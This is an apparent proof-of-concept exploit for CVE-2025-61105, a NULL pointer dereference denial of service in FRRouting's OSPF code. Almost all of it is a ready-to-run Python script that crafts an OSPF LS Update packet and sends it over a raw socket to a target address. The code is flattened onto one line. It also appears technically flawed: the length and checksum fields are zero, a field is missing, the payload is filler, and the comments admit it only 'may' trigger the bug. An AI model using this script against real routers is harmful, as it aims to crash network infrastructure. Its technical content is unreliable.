CVE-2025-61105 FRRouting ospf_ext.c NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-61105 PoC - FRRouting NULL Pointer Dereference # This PoC demonstrates sending a crafted OSPF packet to trigger # the NULL pointer dereference in show_vty_link_info function import socket import struct import sys def create_crafted_ospf_packet(): """Create a malformed OSPF packet to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPF v2 msg_type = 4 # LS Update length = 0 router_id = b'\xc0\xa8\x01\x01' # 192.168.1.1 area_id = b'\x00\x00\x00\x00' # 0.0.0.0 checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, length, router_id, area_id, checksum, auth_type) + auth # Crafted LSA header with malformed data # This may trigger NULL pointer in show_vty_link_info lsa_age = 1 lsa_type = 1 # Router-LSA lsa_id = b'\x00\x00\x00\x01' adv_router = router_id lsa_seq = 0x80000001 lsa_cksum = 0 length = 36 lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, lsa_id, adv_router, lsa_seq, lsa_cksum, length) # Malformed LSA body to trigger vulnerability lsa_body = b'\x00' * 20 # Malformed data return ospf_header + lsa_header + lsa_body def send_crafted_packet(target_ip, target_port=89): """Send the crafted OSPF packet to target""" packet = create_crafted_ospf_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPFIGP) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Crafted OSPF packet sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-61105.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_crafted_packet(target_ip)